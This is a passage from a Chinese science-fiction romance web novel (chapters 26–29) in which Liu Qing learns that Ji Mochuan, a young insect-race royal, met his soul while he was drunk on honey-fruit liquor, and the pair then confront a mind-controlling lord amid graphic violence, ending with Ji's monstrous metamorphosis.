季末川“嗯”了一声,跟着说:“我不能。”
刘清:“但是季末川的身份在虫族也不低,外面有他的族人,肯定已经在跟保护区交涉了。——雷奎定的时间是多久?”
路遥:“两个小时后。你家小朋友的族人能在两个小时后搞定调频装置,把我们都直接弄成沉眠状态吗?”
刘清:“……”
路遥一摊手,“抱歉,虽然我并没有任何伤害你的意思,但我别无他法。”
刘清:“我理解你的选择,但我觉得雷奎不会这么简单地做交易。咱们一起,连带你弟弟被一锅端的可能性更大。”
路遥却什么都听不进去了,“我没有别的办法。”
“你确实没有。”
季末川又插话了。
“你们自称领主,显然这个调频装置的底层逻辑是复刻虫族的等级。
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在虫族,同一个共感域,一个已经霸占共感域五分之四控制权的人,那他就已经是领主了。
“你以为你现在还是能跟对方抗衡的地位?”
路遥皱眉,“我还掌控着我的臣民。”
季末川:“虫族的绝对伴侣一样可以掌控虫王以外的所有臣民,那可是数十亿人。
“可在虫王面前,他连打一巴掌这种程度的‘攻击’举动都无法对虫王做到。甚至一旦他产生这个意识,黄金海的规则就会对他进行惩罚,轻则骨头断裂、内脏出血,重则全身粉碎。只有得到虫王的宽恕,他才能消除身体上的痛苦。”
刘清第一次听说这些。
外界只知道虫族个体无法违抗虫王,但刘清第一次知道,代价居然如此之大。
那季末川为什么还要一而再地向他提出“一月殷勤”?他真的不怕死吗?还是笃定虫王会有那么大度?
答案在刘清的潜意识里蠢蠢欲动,但他犹豫着,不敢去看。
季末川:“你现在还站在这里,要么是他还不够熟练自己的新能力,要么就是他享受这种游戏。——不然,你以为他怎么知道你弟弟和刘清的存在,还这么精准地把信息给你送到?”
路遥的脸色轻微发白,但很快又坚定道:“我总得试试。”
“你的试只是送死。与其这样,还不如加上你弟弟的性命一起,咱们跟他硬碰硬。”
路遥“哈”了一声,“硬碰硬?我?还是你?或者是刘清?”
“我吧。”
出声的是刘清。
他拉着红绳拽了下,像是拉着季末川的手腕按了下一样。季末川低头看了眼,然后乖乖地没有说话了。
刘清对路遥说:“季末川的共感域不稳定,他不能去,我上。雷奎控制不了我,只要我能接近他,或许就有办法。”
路遥皱眉:“那可是上万人的共感域体量。”
刘清一笑,“不然你还有别的办法?”
路遥噎住。
刘清:“就这样吧。这距城区太远了,只有两个小时的时间,你赶紧召集你的臣民,咱们得马上出发才行。”
路遥愕然,“就这样?怎样?这么草率的吗?”
刘清无奈,“刚才闹着要去的不是你?赶紧的吧,路上咱们还能再商量商量。”
路遥张了张嘴,也确实再想不出别的办法,烦躁地一抓头,转身听话召集臣民去了。
刘清这才回头看季末川。
他原以为季末川要问他的打算,但季末川居然什么都没问。
他从兜里掏出一个盒子——刘清认出来,是从护理所离开时,虫侍给季末川的“零食”。
季末川从里头倒出一颗硬糖,递给刘清。
“这是王族享用的东西,对共感域有好处。你先吃一点,权当补充能量了。”
刘清没有拒绝。
硬糖入口,清甜无比的香味瞬间侵占了他的所有感知神经。
刘清无法形容它的香气,但毋庸置疑,这是他有生以来吃过最好吃的东西。好吃到足以让他抛开所有的疑虑,脑袋里只剩下了两个字:进食。
刘清感觉自己的自制力在疯狂下降,一边咀嚼着嘴里的硬糖,一边觉得这种失控的感觉过于熟悉。
就像是醉酒。
“……”
酒!
刘清猛地睁大了眼睛,看向季末川。
他指着自己的嘴巴,问季末川,“你给我吃的是什么?”
26.醉酒那晚。
众里寻他千百度,蓦然回首,那东西就在隔壁住。
刘清万万没想到,原以为随老贾的意识一起碎掉的“假酒之谜”,会在季末川的零食里觅得生机。
他不敢再舔嘴里的东西,却也舍不得吐出来。任由那甜蜜滋味在嘴里弥漫,而后在牙齿和黏膜上汇聚成一片片诱人的“毒”。
季末川并不意外他的反应,解释道:“这是蜜果硬糖,用虫族特有的蜜果做的,是虫王专享的食物。可以给予幼虫期的虫王饱腹感,以及滋养虫族的共感域。
“它对其他种族也有影响:共感域等级越高的人,对它的反应就越大,会产生一种无法自控的进食冲动。加上我的糖都是高浓度的果浆浓缩,所以你的反应会比较强烈——别担心,这是正常的,吃吧。”
“吃吧”。
这两个字像是无上的诱惑,刘清不自觉地“咕咚”吞下嘴里积蓄的汁水,随即才反应过来自己做了什么。
刘清努力把自己的理智从硬糖的诱惑力抽离,依旧没有把糖吐出来。
“没副作用?”
“‘吃了还想吃’这种算吗?”
“……”
季末川莞尔,不再开玩笑。
“腐坏、未成熟的果子确实有迷幻作用。但我给你的这个原料只有蜜果,没有副作用,我不会害你。”
“我没说你害我。”
刘清本就没疑他,只是担心这糖有别的问题……这些也懒得跟季末川解释。
“蜜果如果被提取、加工,会对共感域有破坏功能吗?”
季末川很快地否定了,“不会。”
“这么肯定?”
“我说了,它是‘虫王专属’。是为滋养虫王的共感域而生的东西,虽然现在它已经繁殖了许多,可以福及普通虫子。但它的功能没有任何改变。
“蜜果是被联盟公认过的,对共感域没有任何负面作用的存在。劣质蜜果唯一的致幻作用,也只是会放大生理感官、扩充共感域对外界的感知。
“所以许多共感域等级低的人,会专门去购买这种产品,以期看到自己从未看到过的世界——这也是唯一流出虫星外的蜜果产品。”
“……扩充共感域感知,是指只需要一点自主意识,就能调动全部共感域能力?”
“可以这么理解。”
“…………”
操。
怪不得他都醉到第二天断片了,还能控制共感域进次空间漫游。
老贾到底从哪儿搞的酒!??
刘清扶额,“那,有没有出现过那种情况,就是吃过后,共感屏障会失效的?”
“……”季末川听明白了,“你吃过蜜果迷幻剂?”
“准确说是蜜果味的酒。”
特别好喝,所以他破格灌了自己一宿。
刘清破罐破摔地坦白,“反正前天喝醉后,第二天我的屏障就逐渐失效,现在完全构建不起屏障——所以有解决办法吗?”
季末川看着他,没说话。他的表情先是惊讶,接着又落入沉思。
“喂。”
刘清扯了下连着他们的红绳。
季末川回神。
路遥开车“嗖”一下停在了他们跟前。叫他们,“走了。先去商场那边集合。”
…
这次路遥的车没上天,她仗着自己共感域强悍,开车不看路,回头看刘清跟季末川。
“你俩咋了?吵架了?这大战在即,性命攸关,你俩咋还闹上脾气了?”
“没吵架,开你的车。”
刘清把路遥的脸推回去,也顾不上她在听,转头继续问季末川要刚才的答案,“有解决办法吗?”
季末川的眼神晦暗不明,像是藏了许多的心事。
“没有。而且我觉得你的情况应该跟酒没关系。迷幻效果是暂时的,而且只会导致共感域事后迟钝,三天到一周内就能完全恢复。”
“……所以不是酒的缘故?”
“应该不是。”
“……”
刘清相信季末川,于是开始回忆其他的可能性。
“难道是那个紫水晶?”
这是前天除酒之外唯一的变数。
刘清越想越觉得有可能:次空间本就是一个抽象的存在,可以理解为一个灵魂的栖息地。
共感域等级极高,或者完全丧失自我的意识偶尔会进入那里面——它们往往属于死亡的人。
所以刘清称它们为“灵魂”。
刘清去过次空间几次,但只遇见过即将溃散的灵魂。
前天晚上的紫水晶,是他唯一遇见的“活”且能与他对话的灵魂。所以他高兴极了……
他有跟那颗紫水晶有碰撞吗?有引起灵魂层面的牵扯吗?
牵一发而动全身的那种?
——刘清实在是记不得了。
季末川缓缓开口,“应该也不是那个紫水晶的问题。”
刘清“啊?”了一声,但紧接着又反应过来,惊讶地看着季末川,“你知道我在说什么吗?”
季末川叹了口气,小少爷的脸上露出无奈但包容的温柔表情。
“你是不是一直觉得我对你的喜欢莫名其妙?”
怎么突然说这个?
刘清这会就挺莫名其妙的,但还是回答了,“不应该吗?我们是第一次见面吧,而且严格意义上来说,那都算不得一次正式见面。”
试想,谁会在抓包一个偷窥自己的人后,一秒喜欢上对方?
反正刘清是不会。
“刘清。”季末川低声叫刘清的名字,声音温柔得让人眼神发软。
“我知道你对爱情的定义,我知道你的渴望,也知道你的欲求,还知道你的天真、幼稚、迷茫、虚无、痛苦,以及你期盼自己有所改变的迫切心情。
“我知道这么多,不是我共感域等级高而窥探来的。这些是你告诉我的。”
刘清不信,“怎么可能?”
这种剖心的话,别说季末川,连梁三山他都没聊过。
“可能的。你给我看过你最不设防、最真实的模样。就在前天晚上。”
“……”
“!!!”
刘清的眼睛张得很大,一脸的不可置信。
“你,你是……”
季末川温柔地靠近了刘清,近到他们能看到彼此瞳孔里的颜色。
他呢喃一样轻声开口。
“刘清,你给我看过你灵魂的形状,所以我爱上你,顺理成章。”
“……”
刘清僵在座椅里,一时间失去了思考的能力。
阿强痛心疾首的声音从座椅上传来。
“我就知道,我就知道你有个屁的分寸!你还说自己没招惹,这就是你说的没招惹?
“这下好了,我原以为是季末川要跟你搞风流债,结果到头来,是你在外头瞎撩的桃花债。完了完了,你就等着虫王醒了给你
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什么好果子吃吧!
“可怜了我一代优质……智能管家,竟也要落个英年早逝的下场……”
刘清:“……”
刘清:“闭嘴。”
刘清一手按住阿强的脑袋,把它扔到前头副驾上,一手推开季末川快要贴到他脸上的脸。
“所以。”刘清深吸一口气,感觉四肢乏力,“我前天晚上喝醉后遇见的那个……真的是你?”
季末川顺着刘清手臂的力道,斜靠在椅背上,脸上挂着纵容甜蜜的笑。
活像个被鬼迷心窍的富家少爷。
“对。我原以为是空间跨越导致你不记得了,原来你是喝醉了。怪不得……”
刘清立马警惕,“怪不得什么?我还说什么了?”
季末川抿着嘴笑,“你夸我好看,问我要不要跟你回家,你说你赚很多钱,可以养我。”
刘清:“……”
前座吃瓜的路遥终于没忍住出了声,“哇哦~~”
季末川:“我还知道你的账户密码。762……”
刘清:“够了。”
季末川笑,“嗯。”
路遥在前头摇头晃脑,“啧啧啧……没看出来啊,刘清。吃完就跑,小季才刚成年诶。啧啧啧……”
“……”
刘清很想给路遥一下,但现在他有个更迫切想要知道的答案。
刘清不无忐忑地问道:“那你到地球来……”
季末川摇头,“这个,包括这次事故,真的是意外。”
“呼……”刘清如释重负。
“不过,刘清。你查过自己的种族基因吗?”
刘清摇头,“我是孤儿,杂血,没有查的必要。”
他不是此间的人,而且杂血是他的选择,所以他对自己的“根”并没有任何的执念。
季末川又问:“那你对自己的共感域等级,就从没感到疑惑过吗?”
刘清:“什么意思?”
季末川朝驾驶座伸出手,一道无形的屏障悄无声息地隔绝了路遥的感官。
“你之前说自己是双S,是因为联盟的等级极限是双S,但你的极限显然不是——至少我看到的那个灵魂不是。
“起初我以为你是其他种族的天之骄子,但现在我改变看法了。”
刘清不禁紧张,“什么看法?”
“我之前说了,蜜果会滋养共感域。等级越高的人就越有效——你的等级很高,就导致你的共感域在喝过蜜果酒后,不断地‘生长’,或者说是‘补完’。
“所以你的屏障不是因为外部攻击,而是因为内部生长。你重建它是没用的,你需要学会适应、使用你现在的共感域体量。”
刘清狐疑,“你认真的?可我什么感觉都没有。”
季末川无奈,“情绪洪流不算感觉吗?你昨晚几乎捕捉了整个生活区的人的情绪——如果我没有阻止你,你真的会捕捉完。”
“……”
刘清哑然。
这事他确实没感觉,因为五岁发烧过后,他一直在学习的就是尽可能地收敛自己的共感域。
但紧接着,刘清突然记起季末川前头说过的话。
“我记得你刚刚好像说,蜜果是‘滋养虫族的共感域’,对外族的影响是‘无法自控的进食冲动’?”
季末川看他反应过来,于是点点头,“所以,我才问你有没有查过种族基因。”
刘清:“…………”
27.我的灵魂。
刘清难以接受,“你是说我……是虫族?”
季末川深知刘清不喜欢“熟了”以外的虫子,“我是说,你可能有虫族的血统。”
顿了一下,他改口,“绝对有。”
刘清:“……”
刘清一脸吃了苍蝇的表情,反而让季末川觉得有趣得很。
他突然就起了逗弄的心思。
“说起来,你听过虫族的‘双生纪元’吗?”
“绝对伴侣开始出现的时候?”
“对。那一代虫王与先代不同,他破壳的时候不是成虫,而是幼虫。后来蜕变也不是一蹴而就,也是先长出了触须……那是两条透明的金色丝状物。”
“……”
刘清突然就明白了季末川想要说什么。
果然,就见季末川指了指自己的后颈。
“你的那两条介质纤维,跟那一任虫王的触须很像。还都能变形——只是你的好像不能收回去?”
从被纳入季末川的屏障后,刘清脑后的外挂“外置装置”就重新缩短到能藏进头发里的长度了。
但现在,刘清感觉后脑发麻。
“…………”
刘清深吸一口气,缓慢地转头看向副驾驶,眼神几乎可以杀人。
阿强原本趴在副驾的头枕上,收到刘清的杀人注目礼后,它默默地缓慢缩回了脑袋,假装自己不存在。
——虽然不关它事,但一个聪明的离线系统是懂得“不立危墙之下”的。
季末川看到刘清脖子上起了鸡皮疙瘩,想象得到这个消息对他的冲击性。
尽管他觉得这样的刘清很可爱,但还是不忍心惊吓到他。
“不过我没有看到你的蜕裂线。大概你继承的虫族血统,更多体现在共感域上,而不是生理上。”
“……”
刘清收回视线,依旧一脸的生无可恋。
“等出去我就做一次基因检查。”
季末川莞尔,“好。”
他把话题一转,“但当下的情况危机,万不得已的时候,我们的红线会被断开,到时候你也会脱离我的屏障,这里数万人的情绪洪流,你得学会拒绝。”
“拒绝,是隔离开吗?”
“是我教你的那样——你已经使用过了,不是吗?”
诶?
刘清懵了两秒,而后记起了什么。
“你是说我脑袋里的那个声音?”
在储备区,刘清探入老贾的共感域企图寻找“假酒”相关信息的时候,调频装置启动,他被迫卷入了保护区里的共感调频,体会了一次来势汹汹的情绪洪流。
就在那时候,他听到了一个声音。
“拒绝它们”——那个声音是这样说的。
而后他确实做到了。
季末川:“那是我昨天晚上为你埋下的暗示,以防你抗拒我的屏障,遭致又一次的情绪洪流。——还好埋下了。”
“……”
刘清的心情微妙。一边有些不满季末川不打招呼就往他脑子里埋东西的行为,一边又因为季末川如此细致为他着想而动容。
而且确实也用上了。
算起来,被救三次了。
“不过这个方法一旦说出来,就很难再用第二次——你也懂的吧,共感域里暗示这种方法,需要一定的隐秘性。”
刘清点点头,接着皱眉。
“我好像记得当时的情况,可我记不太清怎么做了。”
“其实非常简单,但是做起来非常得难——至少对你来说是这样的。”
“哦?”
“所谓拒绝,就是排异。无论是共感域对抗,还是你参与过的极限竞技,共同点都是要有能压倒对方的自信。”
“这个我倒是有。”
季末川却摇头,“那是对单个个体。但面对的是一群人,几十几百、几千上万,乃至虫族一样的数十亿人。你有这样的自信吗?”
“……”
刘清沉默了。
季末川:“这是正常的,没有人会有这种自信。所以你需要的也不是自信,而是一种‘我自凌驾于所有生命之上’的意识。”
刘清的眉头皱了起来,“可我无法想象这种……状态。如果无法想象,我要怎么做到有意识?”
季末川朝刘清伸出手,“你信我吗?”
刘清看了一眼他的手,意识到了他想做什么。
季末川:“之前你为我展示过你的灵魂,现在,我邀请你凝视我的灵魂。”
“……”
刘清的心里涌过一片热流,最后一点蜜果硬糖也化作蜜水,顺着他的喉咙,被他与唾液一并吞咽。
刘清伸出手,握住了季末川的手掌。
炽热到几乎要融化的体温席卷了刘清的神经,他的瞳孔中掠过一丝淡蓝和金色混杂的颜色,接着瞳孔扩散。
他“看”到了季末川。
季末川的喜怒哀乐,季末川的痛苦和渴望,柔软和棱角,以及来自于绝对伴侣的意识。
“虫王和绝对伴侣,是俯视着所有虫族生命降临的。”
“你我之外,尽是草芥。”
共感域里的触碰度日如年,但被季末川放开手,也才过去片刻不到。
刘清的手还僵在原地,看季末川的眼神犹如在看一个陌生人。
季末川知道给刘清看他灵魂的后果,他不后悔。
“抱歉,我似乎颠覆了你对我的想象。但我还是要告诉你,你看到的依旧是片面的我,还有很多,我没有——”
刘清收回手。这个动作打断了季末川的声音。
季末川没再继续往下说了。
其实他还是有些难过,不后悔,可会难过。如果可以,他多希望自己是刘清期盼的样子。
“对不起。”
季末川跟刘清再次道歉。
“为什么要跟我道歉?”
“如果可以,我希望这个世界和你想象的一样。但我刚才破坏了你的一些想象。”
刘清的表情变得有一些微妙。
季末川没看懂。
刘清:“你难道以为你们虫族在外界的名声很好?”
季末川:“……”
倒也没有。
“联盟对你们的宣传,比你脑袋里的那些东西,有过之而无不及。我没有被这个吓到。”
季末川意外。心里先于理智生出了一丝喜悦,笑容重新爬上他的脸,且笑得像极了有恃无恐的宠妃。
“那你刚才那眼神是做什么?我以为你在怕我。”
“怕你?”
刘清认真想了下这个问题,“可能很难。”
谁会对一个救自己三次的人感到恐惧?
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季末川的笑容更加灿烂了。
“那你那么看我,是我灵魂上哪个污点让你意外了吗?”
刘清沉吟片刻,稍微肃正了神色。
“我之前一直以为,虫王和绝对伴侣是命定的知己、爱人,你们对彼此忠贞不渝,腹心相照。也会为彼此付出一切。”
“就像你对爱情的想象那样?”
“……”
“难道你不会觉得这样的爱很虚假吗?因为它是依靠信息素,是命定,是炽烈无比但又毫无理由的。简直是被安排好的一样。”
“……”
刘清无从辩驳。
季末川并没有追着要答案。
“双生纪元的初始几代,确实是那样的。虫王和绝对伴侣,佳话美谈。但后来他们意识到,绝对伴侣不止是繁衍、辅佐的角色,还是能共享黄金海的‘王’。
“当这个意识出现,佳话美谈就再也不会成立了。第四任王开始,绝对伴侣成为了虫王的‘敌人’。”
“但绝对伴侣的出现,不就是虫王为了分割王的绝对权力吗?”
“只有初代的王是这样想的,他想要将文明还于虫族,想要解放虫族,所以他以王的‘愿望’造就了绝对伴侣。
“但同样身为王,后来的王自然也可以有别的‘愿望’。
“说来也好笑,虫王越是认定绝对伴侣是‘另一个王’,黄金海就越是判定这是王的‘愿望’,于是渐渐的,绝对伴侣不再是虫王繁衍的必需品,而成为了‘备用的王’。”
刘清愕然,“那你被送出虫星,是虫王想要杀你吗?”
季末川一笑,“真聪明。”
“……”
“虫王送走了我和所有假鞘——在我破壳之前。如果我没有破壳蜕变,或许真的就在这场事故里死掉了。乃至于终结了‘双生纪元’。
“但是,你叫醒了我。”
刘清一愣,“我?”
季末川:“我的意识混沌,你找到了我,喋喋不休地缠着我聊天,最终‘叫醒’了我。而后我才能在破壳后快速接收继承的意识,在太空虫兽的共感冲击下完成蜕变。——常规来说,虫王和绝对伴侣破壳后,至少要用三个小时进食蜜果,同时接收意识传承。”
“……”
刘清完全没料到事情居然是这样的走向。
季末川垂下手,轻轻勾住了刘清的一根食指。
“刘清,你看过了最真实的我。那么,你会爱上这样的我吗?”
“……”
刘清无法回答。也没有抽回手指。
季末川等了三秒,而后收回手,一笑。
“等我们出去后,可以好好探讨这个话题。”
“……”
“现在还是说说‘拒绝’的意识吧。你现在明白该怎样建立这样的意识了吗?”
刘清回神,蜷起食指,却还是觉得指尖在发烫。
“大概明白了。但我可能还是生不出这种傲慢的心态。”
季末川为他的用词笑了一下。
“那你就把自己当作我吧。就像你看到的我那样,站在我的视角,俯视它们,拒绝它们,那些如蛛丝般的思绪和意识,不配沾染你分毫。”
“……”
刘清的眼神闪动,片刻后,他收回视线,点点头。
“我尽力。”
28.一言为定。
说是路上商讨对策,但实际上一车三个大人一台系统,憋了半天屁都没放一个。
眼看街道过了一条又一条,身后跟着浩荡的车队,每一辆车上的男男女女都在向路遥传递不安的情绪。
路遥真的很想骂人:她难道就安了吗?两个小时前她也就是个预备躺一天的大二学生而已。
“所以,你是打算去硬刚。”
她都没用疑问句。
刘清看她终于反应过来,也没再绕圈子,“嗯。”
路遥:“……”
路遥回头对刘清招手,“来,难得一起死,先让我揍一拳。”
刘清没动,“保护区说到底就是个商业性质,我跟季末川是消费者,而且还是稍微有点身份的消费者。如果我们死在保护区里,保护区后头的人会有大麻烦。”
路遥总算是看到了一点希望星光,喜出望外。
“真的?那外边的人就不能赶紧一点?”
刘清摊手,“这个我控制不了。”
路遥冒出来的那点星光又灭了。“所以还是赶不上咱们找死。”
刘清:“别这样想,你找不找都得死。”
“……你可真会安慰人。”
“至少我死之前不会让你死——这样能安慰到你了吗?”
路遥沉默。片刻后叹了口气,“那咱们都努力一把别死吧。”
叹完后,她又骂骂咧咧起来,抱怨外头那群人为什么不给点力,都两个小时了,一个调频装置的故障都排除不了。
刘清浅笑了一下,又很快敛了神色。
——是啊,运营了几十年的一个娱乐帝国,怎么就这么不给力呢?
…
在钟鼓楼前头的一条街道时,路面终于出现了一些变化。
嘎——。
路遥急刹了车,推开防风镜,看着眼前的画面瞠目结舌。
“这他大爷玩的是什么?”
前方百米,目之所及的路面上都铺满了人。
与两个小时前的无意识昏迷不同,现在这些人意识清醒,鳞次栉比,整齐排列,不分男女老弱,在地面温度趋近五十的路面安静躺着。
刘清的目力极好,所以一眼就看到许多的人都在哭,他们发不出太大的声音,小声地呜咽着。
变态。
季末川也看到了,皱眉道:“这些人的意识都是清醒的,但身体被操控了。”
对于共感域领主来说,对臣民的行为要求,也只是一个命令的功夫。
由此可见,雷奎对“凌驾他人之上”的意识已经驾轻就熟。
“过去看看。”
车开到“人毯”边缘,路遥三人下了车,但没有过去。
后面的车上下来了两个青壮男人,朝着“人毯”的间隙走了过去。
当两个人踏入“人毯”两米左右,地上的人突然都伸出手,抱住了这两个人的腿。
他们呜咽地更大声了,痛哭流涕。
“求求你们,不要动!我好疼,好疼!”
“不要动!求求你们了!”
“啊!我的手,我的肚子!”
惨烈的叫声从地上的人嘴里发出来,听者惊心。
路遥皱眉,那两个走进去的青壮又原路退了回来——即使如此,他们的动作还是引起了更强烈的惨叫声。
等他们离开后,那些抱着他们的人又重新躺下,只是他们的衣服上都浸出了血迹,丝丝缕缕,逐渐扩散。
“他们……好软。”
“他们的骨头都被弄断了,下半身不被允许从地上起来,但是又必须要抓住路过的东西。所以我们一动,就会撕裂他们的创口。”
退回来的两个人惊魂未定,看向路遥的眼神都带着恐惧。
因为他们知道地上那些人其实是和他们一样的,而路遥可以轻而易举就把他们变成和地上的那些人一样。
“操!”
路遥骂了一句。
“也不能飞。”
另一个青壮突然惨白了脸,身体里发出了几声沉闷的碎裂声,两行鼻血从他的鼻孔里淌了出来,他的眼白也充了血。
“他们会跳起来,砸死自己也要去抓飞过去的东西。刘清,你想看那个画面吗?”
刘清没回应,视线越过眼前的“人毯”,落在钟鼓楼前的广场上。
路遥的脸色难看,看着那个青壮咬牙切齿吐了个名字,“雷奎。”
但青壮没有回应,下一秒,他的脑袋突然以一个非人的角度猛地朝后一仰。
咔!砰!
青壮像个装满了砂石的沉重麻袋倒在了地上,头颈部淤出一滩鲜血,很快被高温的地面炙出焦腥的味道。
“……”
路遥这边一片死寂。
刘清也没料到会看到如此血腥的画面,但他并没有任何的惊慌失措——这些他早有预料。
刘清把身上的背包解下来,递到季末川的怀里。
露西亚还在睡。
刘清:“你帮我看好她。”
季末川“嗯”了一声,对刘清笑了一下,“别怕。”
刘清沉默了几秒,才突然笑了一下。
“其实今天以前,我是真不怕。”
他有病。上辈子就有,严重的自毁倾向。结果那些不要命的好人行为,反而让他得到了系统的嘉奖。
这份大奖也不是他期盼的,所以他并不曾珍惜。
他轻而易举地拿到了上辈子不曾得到的一切:房子、车子、朋友、地位……同性恋的取向也不再是他的罪孽。
他被全世界原谅了,拥抱了,这是他曾经以为的梦想生活。
可不是的。
他很快就发现他失去了高兴的能力,他失去了“想要的”欲望,他的生活富足舒适,却像是褪了色,什么都变得无趣,生活也失去了感知。
他意识到自己又犯病了。于是他去寻找能刺激自己的东西,比如那个极限竞赛。
疼痛、死亡威胁、肾上腺素……他上瘾一样汲取这份“鲜活”的生活。并在背上保留了这些“纪念”。
但他知道这不是治疗手段,反而让他越发漠视自己的生命和他人的生命。所以在三年前,他举报了这个极限竞赛,并从那以后不再去玩这些东西。
可他依旧感觉不到生命的乐趣,也没有人发现他在伪装正常人。
好像活着可以,死了也行。
但是这两天不一样了。
从季末川的飞船降落,那种隔空牵动他神经的吸引;到今天的电
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梯里,即将随电梯坠落的刹那,他迸发出的强烈求生欲和后悔;再到得知季末川喜欢自己的原因,以及看过的季末川的“灵魂”。
刘清看到了一种可能:他触碰到了他理想中的“完美感情”。
“如果。我是说如果。”
刘清舔了下因高温而干燥的嘴唇,“今天我们平安出去。那这一个月,我接受你的殷勤。”
季末川笑了,露出了漂亮的牙齿。
他上前一步,额头抵在刘清的额头上,呼吸跟刘清纠缠。
“一言为定。”
刘清也笑了。心里轻松。
他后退一步,解开了手腕上的红绳,转身朝那片“人毯”走去。
季末川跟在他身后,直到“人毯”的边缘才停下。
阿强趴在刘清的肩膀上,结果刘清才踏进去,一个躺着的女人突然像是被线扯起,细长的手臂如抛出的鱼线,一下勾走了刘清肩上的只能载体。
“我操!”阿强骂了句粗口,转头大叫,“刘清!他们抓我!”
没有人碰刘清,他站在“人毯”之中,那些人只是注视着他:仇恨的、悲伤的、哀求的、麻木的……
刘清回头看了眼,“看来他只想要我过去。你先歇着吧。”
阿强愁得要死,“你有把握吗?你的共感域等级是高,但你这些年根本没全开过,你别把自己作死了!你可记得咱不扛物理攻击啊!”
“你盼点我好。”
刘清转身继续朝前走,一米,两米,三米,四米,五米……
季末川看到刘清的身体猛地一僵,脚步踉跄了一下。他站在原地缓了四五秒,然后才继续朝前走,脚步迟缓。
情绪洪流。
上万被折断了骨头,被强迫躺在水泥地上炙烤的人,爆发出的情绪洪流绝对是平静的人群不可比的。
刘清没能“拒绝”。
季末川听到身后传来动静,像是跑步声。
但下一秒,路遥就猛地朝后一挥手。砰砰砰砰……身后刚刚起步企图奔向刘清的人群,全部倒地昏迷。
“我的天……他也太香了!”
路遥突然抱住了自己的手臂,用力咬着牙,额头滚下汗珠。她竭力忍耐着,但视线还是死死盯着刘清的背影。
不止是路遥,连那些被迫躺在地上炙烤的人,也都向刘清投去了渴望的眼神。
毫无疑问,一旦雷奎撤掉控制命令,这些人会像蚂蚁一样淹没刘清。
“路遥。”
季末川突然喊了路遥的名字。
路遥“嗯”了一声,话音未落,就感觉一只皮肤坚硬的手扣住了自己的脸和脑袋。
就像是一个抓上来的铁笼。
路遥瞪大了眼睛,余光惊恐地看着季末川。
季末川的手臂横陈,扣在路遥脸上的手纹丝不动。
他转过头,对路遥露出一个礼貌的笑。
“可以看一下你吗?”
“什么?”路遥不解。
她没有听到季末川的回答,但她已经感觉到了一种无形的视线,像冰冷的刺一样,轻而易举扎入了她的共感域。
季末川的声音这时候才传进她的耳朵。
“我有个疑惑,想要从你这里得到证实。”
29.入格。
从遇到刘清开始,季末川就很疑惑。
数百亚人种族,以共感域体量论长的,屈指可数;其中能与他的体量匹敌的个体,凤毛麟角。
比如:德源卡、圣帝托纳、索塔尼亚、凯斯特,这四个与虫族同源或近亲的种族,他们的王或许可以与他的体量比肩。
刘清显然不属于这四分之一。他只是一个杂血。
但季末川很喜欢他。刘清说他的灵魂像一颗紫水晶,但刘清的灵魂在他的眼里,却比一颗璀璨的星星都要漂亮,里边每一条思绪都让季末川新奇,每一缕情绪都让季末川觉得可爱。
所以季末川懒得去好奇刘清的来历,因为他也只会拥有极其短暂的生命,他不想浪费自己的时间。
可现在看来,这一切的巧合似乎并非毫无理由。
…
顺着路遥共感域的“丝线”,季末川逆流而上,追溯到那个分配于她力量的舞台。
那是一片初具雏形的“黄金海”。
但虫王的黄金海如蛛网,纵横分明,层层叠叠,每一颗臣民的灵魂都朝着大海的中央跪伏。
眼前这片海却是一片漆黑混沌,像是一团团翻滚的泥浆,所有臣民的灵魂无序地拥挤着、翻滚着,像是一群无处可依,打结滚在一起的蜉蝣。在不断的跌宕中发出一浪一浪哀求的尖啸。
这片黄金海有主人,只是它的主人还没有“破壳”。
而本该高悬在黄金海上的王座——那颗像太阳一样的眼球,此时和季末川的视野平齐。
他从它的瞳仁里看到了一个蜷缩的熟悉身影。
季末川的心脏骤然轰鸣,不敢置信。
竟然真的能有第二个黄金海。
·
砰——轰——!!!
突然,城区的地下爆发出巨大的轰鸣声,大地震颤,而后崩裂。高楼大厦像是风里的芦苇左右摇摆,有的从中折断,有的倾斜倒塌,有的坠入崩裂的地缝。
被禁锢在路面上的原住民猝不及防,在惊恐至极的凄厉叫声中,转眼人间地狱。
季末川被迫抽回了探入的介质,因过于突然的动作,刺激得路遥惨叫了一声。
她以为是自己大脑受创而站立不稳,但紧接着就发现不是了。
“我操!!”
路遥只来得及这么骂了一声,她脚下的水泥路面就像面包一样被撕裂开,露出五米厚的土石结构,以及底下黑不见底的深渊。
眨眼,路遥石头一样落了下去。
然而就在她即将没入黑暗的时候,她感觉到自己的腰被一截坚硬的东西——或许是断裂的钢筋,或者地下管道残骸——阻拦住了。
路遥心如擂鼓,急忙双手抱住拦住自己的东西,生怕再滑落下去。
可是刚一入手,她就感觉到了不对劲。
那是冰冷的温度,但不是钢铁的冰冷,没有浸人骨头的凉,而是一种有生命感的凉;而后是凹凸不平却极有规律的纹理,很粗糙,但粗糙的表面又仿佛被打磨过;最后是棱状边缘的锯齿结构,排列整齐,并不锋利,可路遥已经感觉到自己的手臂被割破了。
“……”
她有一个不妙的预感。
路遥抬头朝上望去,顺着视线延伸,从地面裂缝的光明处,伸下来的是一截漆黑的节肢。
节肢的尽头,是……季末川的后腰。
他后腰的衣服已经被撕裂了,一对鞘翅如风帆翘起,两对透明的修长膜翅高频震动着,乍眼看去仿佛没有挥动。
他的皮肤正大块大块地从他的身上脱落,干净利落,像是被撕掉的包装纸。
皮囊之下,以难以想象的扭曲姿态折叠的身体缓慢舒展开来:干瘪的腹部逐渐充盈,缠绕的后胸足缓慢打开……然后季末川上半身的皮也开始脱落。
我操。
路遥目睹季末川的“头”蜕壳,从颈部断裂,那张小少爷的脑袋像一个蝉蜕,被一团紧紧挤在一起的黑色东西脱落。那黑色的东西和气球一样,湿漉漉,逐渐膨胀,变成了一只节肢类的脑袋。
不过须臾之间,季末川“小朋友”就变成了一只货车大的昆虫!
路遥瞠目结舌,一时不知道是被接住了幸运,还是掉下去可能会更好。
打破沉默的是阿强的声音——它和露西亚一起被挂在这只巨大的虫子的前胸足上。
“我□□□□操!保护区他大爷的是要直接毁尸灭迹吗!?这么多人,就他爹的跟肉饼一样地砸!?”
阿强之前被原住民抓在手里,天摇地动的时候,抓住它的那个原住民被砸碎了一半,它以最近的距离目睹了什么叫尸山血海。
虽然它只是个离线系统,可它就是跟人类一样受到了极大的刺激。
虫子……或者还是叫祂季末川吧。
他对阿强受到的刺激,以及眼前数万人的惨死没有任何的反应。祂硕大的咀嚼式口器动了动,然后发出了季末川的声音。
“刘清被隔离了。”
路遥闻言却长松了一口气——还好,还是季末川。
